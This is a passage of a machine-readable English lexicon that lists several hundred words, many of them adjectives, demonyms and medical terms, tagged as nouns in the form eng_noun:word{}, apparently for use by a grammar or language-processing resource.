eng_noun:soviet{}, eng_noun:fond{}, eng_noun:uniform{}, eng_noun:grande{}, eng_noun:anthropoid{}, eng_noun:intimate{}, eng_noun:chipotle{}, eng_noun:downcast{}, eng_noun:pneumatic{}, eng_noun:fluorescent{}, eng_noun:crank{}, eng_noun:executive{}, eng_noun:heterocyclic{}, eng_noun:cantheist{}, eng_noun:horrible{}, eng_noun:wrath{}, eng_noun:oxytocic{}, eng_noun:stimulant{}, eng_noun:flocculent{}, eng_noun:triskaidekaphobic{}, eng_noun:deadweight{}, eng_noun:warm - up{}, eng_noun:slap - back{}, eng_noun:tactic{}, eng_noun:Hindu{}, eng_noun:wayside{}, eng_noun:droll{}, eng_noun:Victorian{}, eng_noun:Marxist{}, eng_noun:flank{}, eng_noun:utile{}, eng_noun:Urartian{}, eng_noun:underneath{}, eng_noun:craven{}, eng_noun:pedal{}, eng_noun:ormolu{}, eng_noun:Cryogenian{}, eng_noun:blockbuster{}, eng_noun:convalescent{}, eng_noun:specialist{}, eng_noun:labiate{}, eng_noun:anhedral{}, eng_noun:virid{}, eng_noun:cerulean{}, eng_noun:celadon{}, eng_noun:buckskin{}, eng_noun:butterscotch{}, eng_noun:cinereous{}, eng_noun:citrine{}, eng_noun:dirigible{}, eng_noun:antiseptic{}, eng_noun:stammel{}, eng_noun:subfusc{}, eng_noun:terra - cotta{}, eng_noun:amaranthine{}, eng_noun:breakthrough{}, eng_noun:measurable{}, eng_noun:Brythonic{}, eng_noun:purpure{}, eng_noun:polysyllabic{}, eng_noun:detergent{}, eng_noun:Aztec{}, eng_noun:Cantonese{}, eng_noun:Maltese{}, eng_noun:Walachian{}, eng_noun:navicular{}, eng_noun:triquetral{}, eng_noun:mickle{}, eng_noun:Taoist{}, eng_noun:prognostic{}, eng_noun:Eurosceptic{}, eng_noun:stalwart{}, eng_noun:getaway{}, eng_noun:lapidary{}, eng_noun:mendicant{}, eng_noun:retrofit{}, eng_noun:dissident{}, eng_noun:anticonvulsant{}, eng_noun:Blairite{}, eng_noun:expedient{}, eng_noun:pyrotic{}, eng_noun:relict{}, eng_noun:Canuck{}, eng_noun:troy{}, eng_noun:Cajun{}, eng_noun:delectable{}, eng_noun:docent{}, eng_noun:neoteric{}, eng_noun:burlesque{}, eng_noun:malfeasant{}, eng_noun:elegiac{}, eng_noun:chickenshit{}, eng_noun:mystic{}, eng_noun:charismatic{}, eng_noun:composite{}, eng_noun:extremist{}, eng_noun:antistatic{}, eng_noun:recyclable{}, eng_noun:plug - in{}, eng_noun:agrarian{}, eng_noun:tetraploid{}, eng_noun:gammy{}, eng_noun:cheapo{}, eng_noun:trendy{}, eng_noun:bootleg{}, eng_noun:protozoan{}, eng_noun:damson{}, eng_noun:spartan{}, eng_noun:hammy{}, eng_noun:essive{}, eng_noun:yachty{}, eng_noun:topiary{}, eng_noun:unwonted{}, eng_noun:unpredictable{}, eng_noun:Tridentine{}, eng_noun:monochrome{}, eng_noun:mosaic{}, eng_noun:chinky{}, eng_noun:coloratura{}, eng_noun:epidural{}, eng_noun:resultant{}, eng_noun:consumptive{}, eng_noun:sedative{}, eng_noun:initiative{}, eng_noun:carbolic{}, eng_noun:underarm{}, eng_noun:heteroclitic{}, eng_noun:quadruplicate{}, eng_noun:Dalmatian{}, eng_noun:obsidian{}, eng_noun:Ossetian{}, eng_noun:vermillion{}, eng_noun:parenthetical{}, eng_noun:epispastic{}, eng_noun:midcareer{}, eng_noun:peg - leg{}, eng_noun:perfecto{}, eng_noun:mignon{}, eng_noun:incomparable{}, eng_noun:hourly{}, eng_noun:irreducible{}, eng_noun:chauvinist{}, eng_noun:downslope{}, eng_noun:Mycenaean{}, eng_noun:retentive{}, eng_noun:seltzer{}, eng_noun:pincer{}, eng_noun:decillionth{}, eng_noun:zillionth{}, eng_noun:excommunicate{}, eng_noun:stirrup{}, eng_noun:goldy{}, eng_noun:Assyrian{}, eng_noun:drinkable{}, eng_noun:fallback{}, eng_noun:chipper{}, eng_noun:implosive{}, eng_noun:psychotomimetic{}, eng_noun:intoxicant{}, eng_noun:vermeil{}, eng_noun:imperfective{}, eng_noun:fremd{}, eng_noun:cayenne{}, eng_noun:juridical{}, eng_noun:marriageable{}, eng_noun:Straussian{}, eng_noun:Bashkir{}, eng_noun:solitaire{}, eng_noun:downstage{}, eng_noun:mortuary{}, eng_noun:ferroelectric{}, eng_noun:mair{}, eng_noun:outbound{}, eng_noun:valedictory{}, eng_noun:larrikin{}, eng_noun:panzoist{}, eng_noun:Vegliote{}, eng_noun:extrusive{}, eng_noun:hymeneal{}, eng_noun:visitant{}, eng_noun:multiracial{}, eng_noun:polymorphonuclear{}, eng_noun:swidden{}, eng_noun:sensationalist{}, eng_noun:Newfie{}, eng_noun:nonacid{}, eng_noun:parabolic{}, eng_noun:jumbo{}, eng_noun:dolichocephalic{}, eng_noun:roborant{}, eng_noun:beat - up{}, eng_noun:zebrine{}, eng_noun:hypnotizable{}, eng_noun:lenticular{}, eng_noun:Thessalonian{}, eng_noun:coequal{}, eng_noun:sourdough{}, eng_noun:instructional{}, eng_noun:sit - down{}, eng_noun:communicant{}, eng_noun:sequent{}, eng_noun:constructionist{}, eng_noun:Atlantean{}, eng_noun:Mende{}, eng_noun:infective{}, eng_noun:polysilicon{}, eng_noun:unperceptive{}, eng_noun:unknowable{}, eng_noun:Reichian{}, eng_noun:undefeatable{}, eng_noun:miz{}, eng_noun:globalist{}, eng_noun:unsuspicious{}, eng_noun:metatherian{}, eng_noun:Mazanderani{}, eng_noun:Mccarthyite{}, eng_noun:horseflesh{}, eng_noun:extern{}, eng_noun:patch - up{}, eng_noun:Chinggisid{}, eng_noun:dactylic{}, eng_noun:outstation{}, eng_noun:Islamofascist{}, eng_noun:Kymric{}, eng_noun:intrastate{}, eng_noun:Confucian{}, eng_noun:incommensurable{}, eng_noun:arachnoid{}, eng_noun:dogtrot{}, eng_noun:downbeat{}, eng_noun:ticky - tacky{}, eng_noun:newsy{}, eng_noun:Ligurian{}, eng_noun:nonacademic{}, eng_noun:antiretroviral{}, eng_noun:alternant{}, eng_noun:postnoun{}, eng_noun:Pelasgian{}, eng_noun:subtonic{}, eng_noun:affluential{}, eng_noun:upstyle{}, eng_noun:down - style{}, eng_noun:unionist{}, eng_noun:globoid{}, eng_noun:Appalachian{}, eng_noun:graminoid{}, eng_noun:slam - bang{}, eng_noun:splittist{}, eng_noun:levirate{}, eng_noun:Japonica{}, eng_noun:noncriminal{}, eng_noun:Washingtonian{}, eng_noun:haplodiploid{}, eng_noun:nonintellectual{}, eng_noun:keene{}, eng_noun:Scythian{}, eng_noun:conductant{}, eng_noun:administrant{}, eng_noun:omphaloskeptic{}, eng_noun:binational{}, eng_noun:omnilingual{}, eng_noun:aminoethyl{}, eng_noun:Europan{}, eng_noun:meshuggener{}, eng_noun:Carian{}, eng_noun:Czechoslovak{}, eng_noun:phytopharmaceutical{}, eng_noun:bedrel{}, eng_noun:nonprotein{}, eng_noun:sympathomimetic{}, eng_noun:microphase{}, eng_noun:antihemorrhagic{}, eng_noun:antirachitic{}, eng_noun:rejectionist{}, eng_noun:verdictive{}, eng_noun:shortcrust{}, eng_noun:Labradorian{}, eng_noun:coin - op{}, eng_noun:Dagestani{}, eng_noun:intersex{}, eng_noun:tricuspid{}, eng_noun:paintery{}, eng_noun:antilithic{}, eng_noun:constitutionalist{}, eng_noun:amphiprostyle{}, eng_noun:Stuckist{}, eng_noun:pedophiliac{}, eng_noun:therian{}, eng_noun:Piscean{}, eng_noun:Libran{}, eng_noun:lepetodrilid{}, eng_noun:nuchal{}, eng_noun:melony{}, eng_noun:aquaholic{}, eng_noun:rectosigmoid{}, eng_noun:Guadeloupian{}, eng_noun:supralittoral{}, eng_noun:postcapillary{}, eng_noun:yogist{}, eng_noun:unergative{}, eng_noun:Camun{}, eng_noun:nondiabetic{}, eng_noun:nonstate{}, eng_noun:Tanganyikan{}, eng_noun:tetradactyl{}, eng_noun:Genoan{}, eng_noun:nonroyal{}, eng_noun:counterterrorist{}, eng_noun:Magdeburgian{}, eng_noun:auteurist{}, eng_noun:galliform{}, eng_noun:nondurable{}, eng_noun:externalist{}, eng_noun:sortal{}, eng_noun:multitouch{}, eng_noun:photorealist{}, eng_noun:midmarket{}, eng_noun:paternalist{}, eng_noun:postadolescent{}, eng_noun:autosexual{}, eng_noun:prestimulation{}, eng_noun:aliterate{}, eng_noun:cyberian{}, eng_noun:noncountry{}, eng_noun:intermorph{}, eng_noun:reassortant{}, eng_noun:quinoid{}, eng_noun:gastrokinetic{}, eng_noun:Martiniquan{}, eng_noun:antihyperglycemic{}, eng_noun:midgame{}, eng_noun:Pequiste{}, eng_noun:nonrelative{}, eng_noun:habiline{}, eng_noun:nonasthmatic{}, eng_noun:nonmortal{}, eng_noun:selachian{}, eng_noun:Varsovian{}, eng_noun:Budapestian{}, eng_noun:Lisboner{}, eng_noun:Tallinner{}, eng_noun:elevenish{}, eng_noun:Medinan{}, eng_noun:Megrelian{}, eng_noun:Sabean{}, eng_noun:lemuroid{}, eng_noun:oolitic{}, eng_noun:Sahelian{}, eng_noun:forprofit{}, eng_noun:Katangese{}, eng_noun:farmaceutical{}, eng_noun:multiduplex{}, eng_noun:shelly{}, eng_noun:cocktailian{}, eng_noun:biomusical{}, eng_noun:Ordophone{}, eng_noun:anti - christian{}, eng_noun:Zapotecan{}, eng_noun:nonserial{}, eng_noun:Brutalist{}, eng_noun:uniglot{}, eng_noun:nonheterosexual{}, eng_noun:noninjury{}, eng_noun:nonnovel{}, eng_noun:Transcaucasian{}, eng_noun:Medean{}, eng_noun:nonpolynomial{}, eng_noun:Pompeiian{}, eng_noun:nonpsychic{}, eng_noun:noncompound{}, eng_noun:Londonian{}, eng_noun:noncrystal{}, eng_noun:algebroid{}, eng_noun:operculate{}, eng_noun:ablutophiliac{}, eng_noun:shortfin{}, eng_noun:nonliberal{}, eng_noun:Calmuck{}, eng_noun:superinvariant{}, eng_noun:equant{}, eng_noun:predoc{}, eng_noun:lumbricine{}, eng_noun:tabanid{}, eng_noun:multiskyrmion{}, eng_noun:conditionate{}, eng_noun:Manichee{}, eng_noun:Shimerian{}, eng_noun:stipendiary{}, eng_noun:postcommunist{}, eng_noun:Antiochan{}, eng_noun:Hartlepudlian{}, eng_noun:nonresistor{}, eng_noun:hydatoid{}, eng_noun:epinician{}, eng_noun:hyperepidemic{}, eng_noun:mid - season{}, eng_noun:outland{}, eng_noun:anticonvulsive{}, eng_noun:acoelomate{}, eng_noun:misocapnist{}, eng_noun:Torontarian{}, eng_noun:Cabindan{}, eng_noun:theocratical{}, eng_noun:Pannonian{}, eng_noun:Sogdian{}, eng_noun:unthrift{}, eng_noun:Barcelonan{}, eng_noun:Navarran{}, eng_noun:feudalist{}, eng_noun:Paracelsian{}, eng_noun:nibbly{}, eng_noun:Wykehamist{}, eng_noun:perlative{}, eng_noun:umbratile{}, eng_noun:Oviedan{}, eng_noun:cybertopian{}, eng_noun:nonretirement{}, eng_noun:Palamite{}, eng_noun:neosocialist{}, eng_noun:suprematist{}, eng_noun:culturist{}, eng_noun:homeful{}, eng_noun:nonroyalty{}, eng_noun:Wessexian{}, eng_noun:Jugoslavian{}, eng_noun:Idumean{}, eng_noun:psychoneurotic{}, eng_noun:zoantharian{}, eng_noun:Butlerian{}, eng_noun:whity{}, eng_noun:polyodont{}, eng_noun:dicty{}, eng_noun:nongroup{}, eng_noun:acting{}, eng_noun:striking{}, eng_noun:taking{}, eng_noun:piping{}, eng_noun:bleeding{}, eng_noun:boding{}, eng_noun:ageing{}, eng_noun:youngling{}, eng_noun:bitter{}, eng_noun:head{}, eng_noun:abortifacient{}, eng_noun:accessary{}, eng_noun:plural{}, eng_noun:autumn{}, eng_noun:Polish{}, eng_noun:zero{}, eng_noun:Irish{}, eng_noun:Mexican{}, eng_noun:Spanish{}, eng_noun:absorbent{}, eng_noun:Afghan{}, eng_noun:dilettante{}, eng_noun:henna{}, eng_noun:cherry{}, eng_noun:mauve{}, eng_noun:edible{}, eng_noun:Hawaiian{}, eng_noun:Zuni{}, eng_noun:Hebrew{}, eng_noun:square{}, eng_noun:myriad{}, eng_noun:adjunct{}, eng_noun:concrete{}, eng_noun:neuter{}, eng_noun:west{}, eng_noun:ordinate{}, eng_noun:northwest{}, eng_noun:cyan{}, eng_noun:gun{}, eng_noun:cinnamon{}, eng_noun:melancholy{}, eng_noun:Adelaidean{}, eng_noun:polycystid{}, eng_noun:adherent{}, eng_noun:graduate{}, eng_noun:business{}, eng_noun:contemporary{}, eng_noun:wildcat{}, eng_noun:dairy{}, eng_noun:expletive{}, eng_noun:dead{}, eng_noun:dull{}, eng_noun:crown{}, eng_noun:feminine{}, eng_noun:clutch{}, eng_noun:kin{}, eng_noun:homosexual{}, eng_noun:Cypriot{}, eng_noun:Emirian{}, eng_noun:Antiguan{}, eng_noun:Antillean{}, eng_noun:obsessive{}, eng_noun:garden{}, eng_noun:paper{}, eng_noun:oddball{}, eng_noun:damp{}, eng_noun:neon{}, eng_noun:platinum{}, eng_noun:Scandinavian{}, eng_noun:gut{}, eng_noun:Achaean{}, eng_noun:minion{}, eng_noun:vegetarian{}, eng_noun:Tagalog{}, eng_noun:flammable{}, eng_noun:acute{}, eng_noun:cross{}, eng_noun:Botswanan{}, eng_noun:Nigerian{}, eng_noun:lesbian{}, eng_noun:Honduran{}, eng_noun:Guamanian{}, eng_noun:Guyanese{}, eng_noun:Syrian{}, eng_noun:Tajik{}, eng_noun:Surinamese{}, eng_noun:Lao{}, eng_noun:Magnesian{}, eng_noun:Nicaraguan{}, eng_noun:Tanzanian{}, eng_noun:Wallachian{}, eng_noun:mushroom{}, eng_noun:biennial{}, eng_noun:occult{}, eng_noun:castrato{}, eng_noun:wheat{}, eng_noun:minor{}, eng_noun:Francophone{}, eng_noun:pretty{}, eng_noun:puce{}, eng_noun:annual{}, eng_noun:Urdu{}, eng_noun:rad{}, eng_noun:similar{}, eng_noun:arch{}, eng_noun:diagonal{}, eng_noun:jelly{}, eng_noun:largo{}, eng_noun:snug{}, eng_noun:hardy{}, eng_noun:skinny{}, eng_noun:amiss{}, eng_noun:clairvoyant{}, eng_noun:brilliant{}, eng_noun:antiquarian{}, eng_noun:anosmic{}, eng_noun:bastard{}, eng_noun:bubbly{}, eng_noun:average{}, eng_noun:venti{}, eng_noun:inverse{}, eng_noun:poly{}, eng_noun:shithouse{}, eng_noun:cesarean{}, eng_noun:Keynesian{}, eng_noun:senior{}, eng_noun:analogue{}, eng_noun:celibate{}, eng_noun:offbeat{}, eng_noun:fou{}, eng_noun:equine{}, eng_noun:positive{}, eng_noun:belligerent{}, eng_noun:part{}, eng_noun:avocative{}, eng_noun:turnkey{}, eng_noun:apostate{}, eng_noun:patronymic{}, eng_noun:granny{}, eng_noun:amphibian{}, eng_noun:Shakespearean{}, eng_noun:pocket{}, eng_noun:resident{}, eng_noun:Livonian{}, eng_noun:immortal{}, eng_noun:makeshift{}, eng_noun:material{}, eng_noun:dyslexic{}, eng_noun:orphan{}, eng_noun:eagre{}, eng_noun:colic{}, eng_noun:Norman{}, eng_noun:nasal{}, eng_noun:tantamount{}, eng_noun:Islamite{}, eng_noun:inferior{}, eng_noun:pandemic{}, eng_noun:beloved{}, eng_noun:epoxy{}, eng_noun:macho{}, eng_noun:plumb{}, eng_noun:slurry{}, eng_noun:bridal{}, eng_noun:circumstantial{}, eng_noun:eager{}, eng_noun:expatriate{}, eng_noun:liege{}, eng_noun:mignonette{}, eng_noun:skimp{}, eng_noun:slack{}, eng_noun:tally{}, eng_noun:unicellular{}, eng_noun:vassal{}, eng_noun:trip{}, eng_noun:corrosive{}, eng_noun:lastborn{}, eng_noun:international{}, eng_noun:derelict{}, eng_noun:aspirate{}, eng_noun:retractable{}, eng_noun:legion{}, eng_noun:Bajan{}, eng_noun:sissy{}, eng_noun:mid - may{}, eng_noun:mid - autumn{}, eng_noun:hepatic{}, eng_noun:cathartic{}, eng_noun:addictive{}, eng_noun:fairytale{}, eng_noun:innocent{}, eng_noun:metacarpal{}, eng_noun:opaque{}, eng_noun:grotesque{}, eng_noun:noble{}, eng_noun:equestrian{}, eng_noun:Ilokano{}, eng_noun:everyday{}, eng_noun:specific{}, eng_noun:Syriac{}, eng_noun:western{}, eng_noun:circumflex{}, eng_noun:bomber{}, eng_noun:household{}, eng_noun:defensive{}, eng_noun:portable{}, eng_noun:atypical{}, eng_noun:phantom{}, eng_noun:illegal{}, eng_noun:centenarian{}, eng_noun:Ulster{}, eng_noun:multiple{}, eng_noun:gross{}, eng_noun:oatmeal{}, eng_noun:helter - skelter{}, eng_noun:furry{}, eng_noun:heteroclite{}, eng_noun:intangible{}, eng_noun:canine{}, eng_noun:gutter{}, eng_noun:inner{}, eng_noun:coy{}, eng_noun:angiosperm{}, eng_noun:greeny{}, eng_noun:menial{}, eng_noun:melancholic{}, eng_noun:cripple{}, eng_noun:contraband{}, eng_noun:suave{}, eng_noun:influential{}, eng_noun:duplicate{}, eng_noun:colonial{}, eng_noun:coeval{}, eng_noun:conspecific{}, eng_noun:heterospecific{}, eng_noun:chordate{}, eng_noun:gradual{}, eng_noun:vinyl{}, eng_noun:vitreous{}, eng_noun:stannary{}, eng_noun:moldy{}, eng_noun:peekaboo{}, eng_noun:morning - after{}, eng_noun:germanophone{}, eng_noun:lax{}, eng_noun:monosyllabic{}, eng_noun:perse{}, eng_noun:meta{}, eng_noun:sable{}, eng_noun:digitigrade{}, eng_noun:transorbital{}, eng_noun:Hadean{}, eng_noun:Ectasian{}, eng_noun:Cisuralian{}, eng_noun:deodorant{}, eng_noun:lightweight{}, eng_noun:sexagenarian{}, eng_noun:Serb{}, eng_noun:cornsilk{}, eng_noun:rustic{}, eng_noun:heather{}, eng_noun:honeydew{}, eng_noun:incarnadine{}, eng_noun:malachite{}, eng_noun:hairpin{}, eng_noun:intermediate{}, eng_noun:monotreme{}, eng_noun:cuboid{}, eng_noun:metatarsal{}, eng_noun:Ewe{}, eng_noun:Grit{}, eng_noun:Kiwi{}, eng_noun:Samaritan{}, eng_noun:bonny{}, eng_noun:sesamoid{}, eng_noun:kneejerk{}, eng_noun:refractory{}, eng_noun:lowdown{}, eng_noun:antibiotic{}, eng_noun:Paleolithic{}, eng_noun:breakaway{}, eng_noun:povvo{}, eng_noun:leftover{}, eng_noun:Neptunian{}, eng_noun:antiknock{}, eng_noun:GI{}, eng_noun:Jovian{}, eng_noun:smartass{}, eng_noun:antivivisectionist{}, eng_noun:bohemian{}, eng_noun:midi{}, eng_noun:schemie{}, eng_noun:antichristian{}, eng_noun:pineal{}, eng_noun:lymphatic{}, eng_noun:collective{}, eng_noun:aspirational{}, eng_noun:fribble{}, eng_noun:anaesthetic{}, eng_noun:haploid{}, eng_noun:Devanagari{}, eng_noun:effluent{}, eng_noun:cozy{}, eng_noun:receivable{}, eng_noun:Haligonian{}, eng_noun:tricolpate{}, eng_noun:freelance{}, eng_noun:luke{}, eng_noun:antiparallel{}, eng_noun:directional{}, eng_noun:distaff{}, eng_noun:antiarrhythmic{}, eng_noun:requisite{}, eng_noun:antitrust{}, eng_noun:reactionary{}, eng_noun:dapple{}, eng_noun:reflex{}, eng_noun:Baptist{}, eng_noun:jet - black{}, eng_noun:Aleut{}, eng_noun:equinoctial{}, eng_noun:baptismal{}, eng_noun:antimissile{}, eng_noun:linden{}, eng_noun:Lycian{}, eng_noun:humanitarian{}, eng_noun:hickory{}, eng_noun:diametral{}, eng_noun:moony{}, eng_noun:intercostal{}, eng_noun:abessive{}, eng_noun:Hessian{}, eng_noun:needful{}, eng_noun:Aleutian{}, eng_noun:ensuite{}, eng_noun:dodecyl{}, eng_noun:incumbent{}, eng_noun:cycloplegic{}, eng_noun:depressive{}, eng_noun:glassy{}, eng_noun:bijou{}, eng_noun:hyperborean{}, eng_noun:Laodicean{}, eng_noun:inboard{}, eng_noun:diehard{}, eng_noun:trillionth{}, eng_noun:Tyrolean{}, eng_noun:cricoid{}, eng_noun:lusk{}, eng_noun:ponent{}, eng_noun:postpositive{}, eng_noun:Carolingian{}, eng_noun:riverside{}, eng_noun:denominative{}, eng_noun:cinderblock{}, eng_noun:saltwater{}, eng_noun:ptarmic{}, eng_noun:equilateral{}, eng_noun:prohibitive{}, eng_noun:Beotian{}, eng_noun:paisley{}, eng_noun:bolshie{}, eng_noun:polyacoustic{}, eng_noun:lardy{}, eng_noun:polybromide{}, eng_noun:saurian{}, eng_noun:ack - ack{}, eng_noun:anthelmintic{}, eng_noun:sav{}, eng_noun:lesbigay{}, eng_noun:Montenegrin{}, eng_noun:carminative{}, eng_noun:suction{}, eng_noun:Oceanian{}, eng_noun:northerly{}, eng_noun:suicidal{}, eng_noun:spiritualist{}, eng_noun:co - ordinate{}, eng_noun:pitmatic{}, eng_noun:nanoscale{}, eng_noun:adoptionist{}, eng_noun:athel{}, eng_noun:virginal{}, eng_noun:Tokyoite{}, eng_noun:Galwegian{}, eng_noun:wussy{}, eng_noun:claustrophobic{}, eng_noun:neanderthal{}, eng_noun:water - repellent{}, eng_noun:denary{}, eng_noun:Sudovian{}, eng_noun:confederationist{}, eng_noun:wrinkly{}, eng_noun:two - piece{}, eng_noun:Hindoo{}, eng_noun:sackful{}, eng_noun:helminthic{}, eng_noun:Earthican{}, eng_noun:tabletop{}, eng_noun:unpalatable{}, eng_noun:mitigant{}, eng_noun:apotreptic{}, eng_noun:darnedest{}, eng_noun:untouchable{}, eng_noun:hooky{}, eng_noun:intersexual{}, eng_noun:subnormal{}, eng_noun:uninsured{}, eng_noun:monoploid{}, eng_noun:glenoid{}, eng_noun:Australopithecine{}, eng_noun:opioid{}, eng_noun:purist{}, eng_noun:codependent{}, eng_noun:Umbrian{}, eng_noun:semipro{}, eng_noun:gentilic{}, eng_noun:multiplicative{}, eng_noun:falsificationist{}, eng_noun:nonreproductive{}, eng_noun:Miztec{}, eng_noun:hugger - mugger{}, eng_noun:lactovegetarian{}, eng_noun:molariform{}, eng_noun:Druze{}, eng_noun:ataractic{}, eng_noun:polypharmaceutical{}, eng_noun:cheapjack{}, eng_noun:manufactory{}, eng_noun:extractive{}, eng_noun:coliform{}, eng_noun:pendent{}, eng_noun:unregenerate{}, eng_noun:quickset{}, eng_noun:properispomenon{}, eng_noun:genderqueer{}, eng_noun:Acheulian{}, eng_noun:precognitive{}, eng_noun:throwaway{}, eng_noun:optoelectronic{}, eng_noun:watchet{}, eng_noun:Transnistrian{}, eng_noun:cryptofascist{}, eng_noun:Pohnpeian{}, eng_noun:preflight{}, eng_noun:purty{}, eng_noun:ragtag{}, eng_noun:Filipina{}, eng_noun:Sicanian{}, eng_noun:Dundonian{}, eng_noun:decapod{}, eng_noun:tip - top{}, eng_noun:hyracoid{}, eng_noun:daimonic{}, eng_noun:protostomian{}, eng_noun:proturan{}, eng_noun:psittacosaurid{}, eng_noun:pteropod{}, eng_noun:Pueblan{}, eng_noun:organofluorine{}, eng_noun:nonwhite{}, eng_noun:preorder{}, eng_noun:criss - cross{}, eng_noun:cyprinid{}, eng_noun:invasionist{}, eng_noun:nonnative{}, eng_noun:cholesteric{}, eng_noun:cepheid{}, eng_noun:bughouse{}, eng_noun:catawampus{}, eng_noun:mammillary{}, eng_noun:sarcoid{}, eng_noun:hypergeometric{}, eng_noun:Cantabrigian{}, eng_noun:murrion{}, eng_noun:cheveril{}, eng_noun:split - squad{}, eng_noun:pharmaceutic{}, eng_noun:aminomethoxy{}, eng_noun:nitroaromatic{}, eng_noun:Nassuvian{}, eng_noun:carriable{}, eng_noun:sinusoid{}, eng_noun:nonbiodegradable{}, eng_noun:proteinomimetic{}, eng_noun:untime{}, eng_noun:salientian{}, eng_noun:Nietzschean{}, eng_noun:Venizelist{}, eng_noun:univariate{}, eng_noun:Reginan{}, eng_noun:edentate{}, eng_noun:Mordvinian{}, eng_noun:Buryat{}, eng_noun:Udmurtian{}, eng_noun:polynemid{}, eng_noun:megapode{}, eng_noun:duoplural{}, eng_noun:xerophytic{}, eng_noun:Cumbrian{}, eng_noun:Salopian{}, eng_noun:unicursal{}, eng_noun:Montanan{}, eng_noun:prostyle{}, eng_noun:Xaverian{}, eng_noun:hemichordate{}, eng_noun:Sagittarian{}, eng_noun:scombrid{}, eng_noun:thyasirid{}, eng_noun:virostatic{}, eng_noun:musculotropic{}, eng_noun:Catalonian{}, eng_noun:disphenoid{}, eng_noun:hobohemian{}, eng_noun:Argentinean{}, eng_noun:technoutopian{}, eng_noun:allotetraploid{}, eng_noun:practic{}, eng_noun:Illinoisan{}, eng_noun:cartilaginoid{}, eng_noun:diamante{}, eng_noun:beachside{}, eng_noun:depositary{}, eng_noun:nonbank{}, eng_noun:mucolytic{}, eng_noun:didacticist{}, eng_noun:institutionalist{}, eng_noun:umbre{}, eng_noun:Jansenist{}, eng_noun:Savonian{}, eng_noun:Madagascarian{}, eng_noun:Madeiran{}, eng_noun:ticky{}, eng_noun:knockabout{}, eng_noun:curbside{}, eng_noun:postfeminist{}, eng_noun:indolic{}, eng_noun:unilateralist{}, eng_noun:tephritid{}, eng_noun:cardio{}, eng_noun:boine{}, eng_noun:prestart{}, eng_noun:internalist{}, eng_noun:primitivist{}, eng_noun:Baconian{}, eng_noun:midtempo{}, eng_noun:Seljuk{}, eng_noun:dualist{}, eng_noun:inferentialist{}, eng_noun:Malabarian{}, eng_noun:midmeal{}, eng_noun:superheavyweight{}, eng_noun:anti - rad{}, eng_noun:sexcentenary{}, eng_noun:anticholesterol{}, eng_noun:functionless{}, eng_noun:corsive{}, eng_noun:Marcosian{}, eng_noun:venitive{}, eng_noun:hemiplegic{}, eng_noun:jaden{}, eng_noun:dispensationalist{}, eng_noun:Helsinkian{}, eng_noun:Seoulite{}, eng_noun:beardy{}, eng_noun:zalambdodont{}, eng_noun:misotheist{}, eng_noun:Bahian{}, eng_noun:valgus{}, eng_noun:antepaenultimate{}, eng_noun:latitudinarian{}, eng_noun:albuminoid{}, eng_noun:eclecticist{}, eng_noun:nonprimitive{}, eng_noun:antidemocracy{}, eng_noun:antimonial{}, eng_noun:calmative{}, eng_noun:deadeye{}, eng_noun:prefeminism{}, eng_noun:slipover{}, eng_noun:prototherian{}, eng_noun:quadrumane{}, eng_noun:agnathan{}, eng_noun:speciest{}, eng_noun:syrphid{}, eng_noun:nonanxiety{}, eng_noun:Pawnee{}, eng_noun:subharmonic{}, eng_noun:Zambezian{}, eng_noun:feodatory{}, eng_noun:antiasthmatic{}, eng_noun:bifundamental{}, eng_noun:interarrival{}, eng_noun:litho{}, eng_noun:subfilter{}, eng_noun:bimillenary{}, eng_noun:Arietian{}, eng_noun:beavery{}, eng_noun:declensionist{}, eng_noun:overdede{}, eng_noun:comprovincial{}, eng_noun:nonmarxist{}, eng_noun:gymnic{}, eng_noun:Nisibene{}, eng_noun:Antiochene{}, eng_noun:fielden{}, eng_noun:Ruritanian{}, eng_noun:Muscatian{}, eng_noun:nonelitist{}, eng_noun:thalline{}, eng_noun:sternocleidomastoid{}, eng_noun:Catalanophile{}, eng_noun:blinky{}, eng_noun:nontime{}, eng_noun:cubital{}, eng_noun:specky{}, eng_noun:Raelian{}, eng_noun:antistrange{}, eng_noun:selenodont{}, eng_noun:dropside{}, eng_noun:lapidarian{}, eng_noun:antisexist{}, eng_noun:anticonsumer{}, eng_noun:antiluetic{}, eng_noun:Seljuq{}, eng_noun:cheapie{}, eng_noun:Maxwellian{}, eng_noun:ecbolic{}, eng_noun:Kamchatkan{}, eng_noun:Amerasian{}, eng_noun:Hoisanese{}, eng_noun:Judaica{}, eng_noun:antifebrile{}, eng_noun:Flavian{}, eng_noun:Julio - claudian{}, eng_noun:offscum{}, eng_noun:mensk{}, eng_noun:coterminal{}, eng_noun:nonobservable{}, eng_noun:twissel{}, eng_noun:amenorrheic{}, eng_noun:ivorine{}, eng_noun:antialarmist{}, eng_noun:superiour{}, eng_noun:questuary{}, eng_noun:pneumoniac{}, eng_noun:antiegalitarian{}, eng_noun:Bloomfieldian{}, eng_noun:Kiriwinan{}, eng_noun:qued{}, eng_noun:asthmatick{}, eng_noun:diagnostick{}, eng_noun:ethick{}, eng_noun:cathartick{}, eng_noun:epispastick{}, eng_noun:vinny{}, eng_noun:sweetkin{}, eng_noun:roddy{}, eng_noun:podunk{}, eng_noun:Havanese{}, eng_noun:nasoturbinate{}, eng_noun:giaunt{}, eng_noun:lithotriptic{}, eng_noun:bodyswap{}, eng_noun:periotic{}, eng_noun:roughtail{}, eng_noun:experimentarian{}, eng_noun:Chaldaic{}, eng_noun:Transoxianan{}, eng_noun:postobservation{}, eng_noun:sphingine{}, eng_noun:frolick{}, eng_noun:ascetick{}, eng_noun:relaxative{}, eng_noun:anticriticism{}, eng_noun:antidotary{}, eng_noun:polystyle{}, eng_noun:antemetic{}, eng_noun:festucine{}, eng_noun:spring{}, eng_noun:fast{}, eng_noun:light{}, eng_noun:goose{}, eng_noun:broadloom{}, eng_noun:clamour{}, eng_noun:cleric{}, eng_noun:corollary{}, eng_noun:continuant{}, eng_noun:cranny{}, eng_noun:compound{}, eng_noun:durative{}, eng_noun:earthenware{}, eng_noun:exponent{}, eng_noun:emigrant{}, eng_noun:flagellant{}, eng_noun:folio{}, eng_noun:holograph{}, eng_noun:javanese{}, eng_noun:intermediary{}, eng_noun:interrogative{}, eng_noun:lakeside{}, eng_noun:livery{}, eng_noun:manifold{}, eng_noun:mongrel{}, eng_noun:monitory{}, eng_noun:monomial{}, eng_noun:matey{}, eng_noun:oolite{}, eng_noun:netherlander{}, eng_noun:myriapod{}, eng_noun:parnassian{}, eng_noun:prismoid{}, eng_noun:precious{}, eng_noun:quatercentenary{}, eng_noun:preservative{}, eng_noun:reflexive{}, eng_noun:refrigerant{}, eng_noun:slub{}, 